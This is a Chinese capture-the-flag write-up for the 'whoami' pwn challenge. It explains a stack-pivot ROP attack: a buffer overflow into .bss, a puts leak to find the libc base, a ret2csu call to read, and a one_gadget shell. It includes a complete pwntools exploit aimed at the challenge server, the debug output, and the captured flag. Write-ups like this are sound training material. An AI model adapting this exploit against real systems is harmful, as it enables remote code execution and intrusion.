攻防世界-whoami-栈迁移-ROP
安全机制检查
root@u1804:/home/u1804/whoami/whoami# readelf -h whoami
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x4005e0
Start of program headers: 64 (bytes into file)
Start of section headers: 4392 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 26
Section header string table index: 25
root@u1804:/home/u1804/whoami/whoami# checksec --file=whoami
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 1 whoami
漏洞利用方式描述
程序只有一个函数,很容易发现存在栈溢出漏洞,且写入bss段的数据的位置已知
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
sub_4006E8();
sub_400746();
puts("Input name:");
read(0, buf, 0x30uLL);
puts("Else?");
read(0, &qword_601040, 0xF0uLL);
return 0LL;
}
虽然可以利用栈溢出将执行流劫持到bss段,但是bss段是没有执行权限的,所以这个方法是不行的,会触发段溢出告警
0x4007d1 mov eax, 0
0x4007d6 leave
0x4007d7 ret
↓
► 0x601040 or ch, byte ptr [rdx + 0x68]
0x601043 movabs rax, 0x732f2f2f6e69622f
pwndbg>
Program received signal SIGSEGV, Segmentation fault.
考虑使用栈迁移的方式,因为这里我们能控制的有效溢出空间是非常有限的,两个机器字长,可以利用leave ret的片段将栈空间迁移到别的地方去,便于我们写入东西的地方,构造ROP即可实现漏洞的利用
leave
指令相当于是
mov esp,ebp
pop ebp
通过执行两次 leave ret
片段,可以将栈空间迁移到bss
段就是我们已知地址的0x601040
处,然后泄漏出puts
函数的地址,进一步泄露出libc
的基地址,即可获得one_gadget
片段的真实地址,然后借助于init
函数中的通用代码片段
.text:0000000000400820 4C 89 FA mov rdx, r15
.text:0000000000400823 4C 89 F6 mov rsi, r14
.text:0000000000400826 44 89 EF mov edi, r13d
.text:0000000000400829 41 FF 14 DC call ds:(funcs_400829 - 600DA8h)[r12+rbx*8]
.text:0000000000400829
.text:000000000040082D 48 83 C3 01 add rbx, 1
.text:0000000000400831 48 39 DD cmp rbp, rbx
.text:0000000000400834 75 EA jnz short loc_400820
.text:0000000000400834
.text:0000000000400836
.text:0000000000400836 loc_400836: ; CODE XREF: init+34↑j
.text:0000000000400836 48 83 C4 08 add rsp, 8
.text:000000000040083A 5B pop rbx
.text:000000000040083B 5D pop rbp
.text:000000000040083C 41 5C pop r12
.text:000000000040083E 41 5D pop r13
.text:0000000000400840 41 5E pop r14
.text:0000000000400842 41 5F pop r15
.text:0000000000400844 C3 retn
再调用一次read函数,将数据写入bss
段中,由于这个片段现在也是栈空间的位置,在适当的位置写入one_gadget
即可
找一个好用的one_gadget
这道题本来没有用这个方法,使用的是
p64(pop rdi)+p64(bin_sh)+p64(system)
,然后直接跳转到system函数的方法,但是不知道为啥始终执行system函数的时候就报错了,尝试了好几种,直接调用system函数都会直接报错,所以最后想到了直接用这个方法,结果一次就成功了
root@u1804:/home/u1804/whoami/whoami# one_gadget libc-2.27.so # 题目提供的libc文件
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
root@u1804:/home/u1804/whoami/whoami# one_gadget /lib/x86_64-linux-gnu/libc-2.27.so # 自己的libc文件
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
攻击脚本
from pwn import *
from LibcSearcher import *
context.log_level='debug'
# context.terminal = ['terminator', '-x', 'sh', '-c']
io = remote("61.147.171.105",52913) # 61.147.171.105 49464
# io = process("./whoami")
libc = ELF("libc-2.27.so") # remote
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") # local
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./whoami")
context(arch = "amd64", os = 'linux')
main_addr = 0x400771
bss_addr = 0x601040
# 0x00000000004007d6 : leave ; ret
leave_ret_addr = 0x4007d6
# 0x0000000000400843 : pop rdi ; ret
pop_rdi = 0x400843
# read_gadget = 0x4007BB
pop_rbx = 0x40083A
mov_rdx_r15 = 0x400820
# one_gadget = 0x4f302 # local
one_gadget = 0x4f3c2 # remote 题目提供的libc文件
pause()
io.recvuntil("Input name:")
io.send(b"a"*0x20+p64(bss_addr+0x80)+p64(leave_ret_addr))
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
log.success("puts_got -> "+hex(puts_got))
log.success("puts_plt -> "+hex(puts_plt))
read_got = elf.got["read"]
io.recvuntil("Else?")
payload = b"b"*(0x80+8)
# payload += p64(0xdeadbeef)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
# payload += p64(read_gadget)
payload += p64(pop_rbx)
payload += p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_addr) + p64(0x150)
payload += p64(mov_rdx_r15)
io.sendline(payload)
io.recv()
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
libcbase = puts_addr - libc.symbols["puts"]
system_addr = libcbase + libc.symbols["system"]
log.success("system_addr -> "+hex(system_addr))
one_gadget_real = libcbase + one_gadget
# io.recvuntil("Else?")
payload = b"/bin/sh\x00" + b"c"*(0xd0)
payload += p64(one_gadget_real)
io.sendline(payload)
io.interactive()
脚本执行过程
最后用的是本地docker里面的libc2.27文件,题目文件中提供的libc文件未能利用成功
[+] puts_got -> 0x600fc0
[+] puts_plt -> 0x400580
[DEBUG] Received 0x5 bytes:
b'Else?'
[DEBUG] Sent 0xe1 bytes:
00000000 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 │bbbb│bbbb│bbbb│bbbb│
*
00000080 62 62 62 62 62 62 62 62 43 08 40 00 00 00 00 00 │bbbb│bbbb│C·@·│····│
00000090 c0 0f 60 00 00 00 00 00 80 05 40 00 00 00 00 00 │··`·│····│··@·│····│
000000a0 3a 08 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │:·@·│····│····│····│
000000b0 01 00 00 00 00 00 00 00 d0 0f 60 00 00 00 00 00 │····│····│··`·│····│
000000c0 00 00 00 00 00 00 00 00 40 10 60 00 00 00 00 00 │····│····│@·`·│····│
000000d0 50 01 00 00 00 00 00 00 20 08 40 00 00 00 00 00 │P···│····│ ·@·│····│
000000e0 0a │·│
000000e1
[DEBUG] Received 0x1 bytes:
b'\n'
[DEBUG] Received 0x7 bytes:
00000000 a0 7a c4 12 c8 7f 0a │·z··│···│
00000007
[+] system_addr -> 0x7fc812c16550
[DEBUG] Sent 0xe1 bytes:
00000000 2f 62 69 6e 2f 73 68 00 63 63 63 63 63 63 63 63 │/bin│/sh·│cccc│cccc│
00000010 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 │cccc│cccc│cccc│cccc│
*
000000d0 63 63 63 63 63 63 63 63 32 64 c1 12 c8 7f 00 00 │cccc│cccc│2d··│····│
000000e0 0a │·│
000000e1
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'cyberpeace{cc6debaed5d0795053b282b8498e42d1}\n'
cyberpeace{cc6debaed5d0795053b282b8498e42d1}